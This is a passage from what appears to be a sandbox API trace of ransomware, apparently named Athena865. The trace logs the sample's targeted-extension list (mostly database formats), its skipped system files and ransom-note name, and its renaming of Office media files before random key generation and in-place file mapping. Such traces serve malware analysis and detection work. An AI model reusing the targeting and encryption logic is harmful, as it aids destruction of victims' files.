[0152.744] lstrlenW (lpString="cdb") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.744] lstrlenW (lpString="ckp") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.744] lstrlenW (lpString="cma") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.744] lstrlenW (lpString="cpd") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.744] lstrlenW (lpString="dacpac") returned 6 [0152.744] lstrcmpiW (lpString1="ZE.WAV", lpString2="dacpac") returned 1 [0152.744] lstrlenW (lpString="dad") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.744] lstrlenW (lpString="dadiagrams") returned 10 [0152.744] lstrlenW (lpString="daschema") returned 8 [0152.745] lstrcmpiW (lpString1="EEZE.WAV", lpString2="daschema") returned 1 [0152.745] lstrlenW (lpString="db-journal") returned 10 [0152.745] lstrlenW (lpString="db-shm") returned 6 [0152.745] lstrcmpiW (lpString1="ZE.WAV", lpString2="db-shm") returned 1 [0152.745] lstrlenW (lpString="db-wal") returned 6 [0152.745] lstrcmpiW (lpString1="ZE.WAV", lpString2="db-wal") returned 1 [0152.745] lstrlenW (lpString="dbc") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.745] lstrlenW (lpString="dbs") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.745] lstrlenW (lpString="dbt") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.745] lstrlenW (lpString="dbv") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.745] lstrlenW (lpString="dbx") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.745] lstrlenW (lpString="dcb") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.745] lstrlenW (lpString="dct") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.745] lstrlenW (lpString="dcx") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.745] lstrlenW (lpString="ddl") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.745] lstrlenW (lpString="dlis") returned 4 [0152.745] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.745] lstrlenW (lpString="dp1") returned 3 [0152.745] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.746] lstrlenW (lpString="dqy") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.746] lstrlenW (lpString="dsk") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.746] lstrlenW (lpString="dsn") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.746] lstrlenW (lpString="dtsx") returned 4 [0152.746] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.746] lstrlenW (lpString="dxl") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.746] lstrlenW (lpString="eco") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.746] lstrlenW (lpString="ecx") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.746] lstrlenW (lpString="edb") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.746] lstrlenW (lpString="epim") returned 4 [0152.746] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.746] lstrlenW (lpString="fcd") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.746] lstrlenW (lpString="fdb") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.746] lstrlenW (lpString="fic") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.746] lstrlenW (lpString="flexolibrary") returned 12 [0152.746] lstrlenW (lpString="fm5") returned 3 [0152.746] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.747] lstrlenW (lpString="fmp") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.747] lstrlenW (lpString="fmp12") returned 5 [0152.747] lstrcmpiW (lpString1="E.WAV", lpString2="fmp12") returned -1 [0152.747] lstrlenW (lpString="fmpsl") returned 5 [0152.747] lstrcmpiW (lpString1="E.WAV", lpString2="fmpsl") returned -1 [0152.747] lstrlenW (lpString="fol") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.747] lstrlenW (lpString="fp3") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.747] lstrlenW (lpString="fp4") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.747] lstrlenW (lpString="fp5") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.747] lstrlenW (lpString="fp7") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.747] lstrlenW (lpString="fpt") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.747] lstrlenW (lpString="frm") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.747] lstrlenW (lpString="gdb") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.747] lstrlenW (lpString="gdb") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.747] lstrlenW (lpString="grdb") returned 4 [0152.747] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.747] lstrlenW (lpString="gwi") returned 3 [0152.747] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.747] lstrlenW (lpString="hdb") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.748] lstrlenW (lpString="his") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.748] lstrlenW (lpString="ib") returned 2 [0152.748] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.748] lstrlenW (lpString="idb") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.748] lstrlenW (lpString="ihx") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.748] lstrlenW (lpString="itdb") returned 4 [0152.748] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.748] lstrlenW (lpString="itw") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.748] lstrlenW (lpString="jet") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.748] lstrlenW (lpString="jtx") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.748] lstrlenW (lpString="kdb") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.748] lstrlenW (lpString="kexi") returned 4 [0152.748] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.748] lstrlenW (lpString="kexic") returned 5 [0152.748] lstrcmpiW (lpString1="E.WAV", lpString2="kexic") returned -1 [0152.748] lstrlenW (lpString="kexis") returned 5 [0152.748] lstrcmpiW (lpString1="E.WAV", lpString2="kexis") returned -1 [0152.748] lstrlenW (lpString="lgc") returned 3 [0152.748] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.748] lstrlenW (lpString="lwx") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.749] lstrlenW (lpString="maf") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.749] lstrlenW (lpString="maq") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.749] lstrlenW (lpString="mar") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.749] lstrlenW (lpString="marshal") returned 7 [0152.749] lstrcmpiW (lpString1="EZE.WAV", lpString2="marshal") returned -1 [0152.749] lstrlenW (lpString="mas") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.749] lstrlenW (lpString="mav") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.749] lstrlenW (lpString="maw") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.749] lstrlenW (lpString="mdbhtml") returned 7 [0152.749] lstrcmpiW (lpString1="EZE.WAV", lpString2="mdbhtml") returned -1 [0152.749] lstrlenW (lpString="mdn") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.749] lstrlenW (lpString="mdt") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.749] lstrlenW (lpString="mfd") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.749] lstrlenW (lpString="mpd") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.749] lstrlenW (lpString="mrg") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mrg") returned 1 [0152.749] lstrlenW (lpString="mud") returned 3 [0152.749] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.750] lstrlenW (lpString="mwb") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.750] lstrlenW (lpString="myd") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.750] lstrlenW (lpString="ndf") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.750] lstrlenW (lpString="nnt") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.750] lstrlenW (lpString="nrmlib") returned 6 [0152.750] lstrcmpiW (lpString1="ZE.WAV", lpString2="nrmlib") returned 1 [0152.750] lstrlenW (lpString="ns2") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.750] lstrlenW (lpString="ns3") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.750] lstrlenW (lpString="ns4") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.750] lstrlenW (lpString="nsf") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.750] lstrlenW (lpString="nv") returned 2 [0152.750] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.750] lstrlenW (lpString="nv2") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.750] lstrlenW (lpString="nwdb") returned 4 [0152.750] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.750] lstrlenW (lpString="nyf") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.750] lstrlenW (lpString="odb") returned 3 [0152.750] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.751] lstrlenW (lpString="odb") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.751] lstrlenW (lpString="oqy") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.751] lstrlenW (lpString="ora") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.751] lstrlenW (lpString="orx") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.751] lstrlenW (lpString="owc") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.751] lstrlenW (lpString="p96") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.751] lstrlenW (lpString="p97") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.751] lstrlenW (lpString="pan") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.751] lstrlenW (lpString="pdb") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.751] lstrlenW (lpString="pdm") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.751] lstrlenW (lpString="pnz") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.751] lstrlenW (lpString="qry") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.751] lstrlenW (lpString="qvd") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.751] lstrlenW (lpString="rbf") returned 3 [0152.751] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.752] lstrlenW (lpString="rctd") returned 4 [0152.752] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.752] lstrlenW (lpString="rod") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.752] lstrlenW (lpString="rodx") returned 4 [0152.752] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.752] lstrlenW (lpString="rpd") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.752] lstrlenW (lpString="rsd") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.752] lstrlenW (lpString="sas7bdat") returned 8 [0152.752] lstrcmpiW (lpString1="EEZE.WAV", lpString2="sas7bdat") returned -1 [0152.752] lstrlenW (lpString="sbf") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.752] lstrlenW (lpString="scx") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.752] lstrlenW (lpString="sdb") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.752] lstrlenW (lpString="sdc") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.752] lstrlenW (lpString="sdf") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.752] lstrlenW (lpString="sis") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.752] lstrlenW (lpString="spq") returned 3 [0152.752] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.752] lstrlenW (lpString="te") returned 2 [0152.752] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.753] lstrlenW (lpString="teacher") returned 7 [0152.753] lstrcmpiW (lpString1="EZE.WAV", lpString2="teacher") returned -1 [0152.753] lstrlenW (lpString="tmd") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.753] lstrlenW (lpString="tps") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.753] lstrlenW (lpString="trc") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.753] lstrlenW (lpString="trc") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.753] lstrlenW (lpString="trm") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.753] lstrlenW (lpString="udb") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.753] lstrlenW (lpString="udl") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.753] lstrlenW (lpString="usr") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.753] lstrlenW (lpString="v12") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.753] lstrlenW (lpString="vis") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.753] lstrlenW (lpString="vpd") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.753] lstrlenW (lpString="vvv") returned 3 [0152.753] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.753] lstrlenW (lpString="wdb") returned 3 [0152.754] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.754] lstrlenW (lpString="wmdb") returned 4 [0152.754] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.754] lstrlenW (lpString="wrk") returned 3 [0152.754] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.754] lstrlenW (lpString="xdb") returned 3 [0152.754] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.754] lstrlenW (lpString="xld") returned 3 [0152.754] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.754] lstrlenW (lpString="xmlff") returned 5 [0152.754] lstrcmpiW (lpString1="E.WAV", lpString2="xmlff") returned -1 [0152.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.Athena865") returned 69 [0152.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav.athena865"), dwFlags=0x1) returned 1 [0152.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.759] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4290) returned 1 [0152.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.765] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.765] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.767] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x154 [0152.768] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x100000 [0152.769] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.770] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.770] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.771] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.771] CloseHandle (hObject=0x154) returned 1 [0152.771] CloseHandle (hObject=0x17c) returned 1 [0152.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.771] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAMERA.WAV", cAlternateFileName="")) returned 1 [0152.771] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.771] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.771] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".") returned 1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="..") returned 1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="windows") returned -1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="bootmgr") returned 1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="temp") returned -1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="pagefile.sys") returned -1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="boot") returned 1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="ids.txt") returned -1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="ntuser.dat") returned -1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="perflogs") returned -1 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2="MSBuild") returned -1 [0152.772] lstrlenW (lpString="CAMERA.WAV") returned 10 [0152.772] lstrcpyW (in: lpString1=0x241e8aa, lpString2="CAMERA.WAV" | out: lpString1="CAMERA.WAV") returned="CAMERA.WAV" [0152.772] lstrlenW (lpString="CAMERA.WAV") returned 10 [0152.772] lstrlenW (lpString="Athena865") returned 9 [0152.772] lstrcmpiW (lpString1="AMERA.WAV", lpString2="Athena865") returned -1 [0152.772] lstrlenW (lpString=".dll") returned 4 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".dll") returned 1 [0152.772] lstrlenW (lpString=".lnk") returned 4 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".lnk") returned 1 [0152.772] lstrlenW (lpString=".ini") returned 4 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".ini") returned 1 [0152.772] lstrlenW (lpString=".sys") returned 4 [0152.772] lstrcmpiW (lpString1="CAMERA.WAV", lpString2=".sys") returned 1 [0152.772] lstrlenW (lpString="CAMERA.WAV") returned 10 [0152.772] lstrlenW (lpString="bak") returned 3 [0152.772] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.772] lstrlenW (lpString="ba_") returned 3 [0152.772] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.773] lstrlenW (lpString="dbb") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.773] lstrlenW (lpString="vmdk") returned 4 [0152.773] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.773] lstrlenW (lpString="rar") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.773] lstrlenW (lpString="zip") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.773] lstrlenW (lpString="tgz") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.773] lstrlenW (lpString="vbox") returned 4 [0152.773] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.773] lstrlenW (lpString="vdi") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.773] lstrlenW (lpString="vhd") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.773] lstrlenW (lpString="vhdx") returned 4 [0152.773] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.773] lstrlenW (lpString="avhd") returned 4 [0152.773] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.773] lstrlenW (lpString="db") returned 2 [0152.773] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.773] lstrlenW (lpString="db2") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.773] lstrlenW (lpString="db3") returned 3 [0152.773] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.773] lstrlenW (lpString="dbf") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.774] lstrlenW (lpString="mdf") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.774] lstrlenW (lpString="mdb") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.774] lstrlenW (lpString="sql") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.774] lstrlenW (lpString="sqlite") returned 6 [0152.774] lstrcmpiW (lpString1="RA.WAV", lpString2="sqlite") returned -1 [0152.774] lstrlenW (lpString="sqlite3") returned 7 [0152.774] lstrcmpiW (lpString1="ERA.WAV", lpString2="sqlite3") returned -1 [0152.774] lstrlenW (lpString="sqlitedb") returned 8 [0152.774] lstrcmpiW (lpString1="MERA.WAV", lpString2="sqlitedb") returned -1 [0152.774] lstrlenW (lpString="xml") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.774] lstrlenW (lpString="$er") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.774] lstrlenW (lpString="4dd") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.774] lstrlenW (lpString="4dl") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.774] lstrlenW (lpString="^^^") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.774] lstrlenW (lpString="abs") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.774] lstrlenW (lpString="abx") returned 3 [0152.774] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.774] lstrlenW (lpString="accdb") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accdb") returned -1 [0152.775] lstrlenW (lpString="accdc") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accdc") returned -1 [0152.775] lstrlenW (lpString="accde") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accde") returned -1 [0152.775] lstrlenW (lpString="accdr") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accdr") returned -1 [0152.775] lstrlenW (lpString="accdt") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accdt") returned -1 [0152.775] lstrlenW (lpString="accdw") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accdw") returned -1 [0152.775] lstrlenW (lpString="accft") returned 5 [0152.775] lstrcmpiW (lpString1="A.WAV", lpString2="accft") returned -1 [0152.775] lstrlenW (lpString="adb") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.775] lstrlenW (lpString="adb") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="adb") 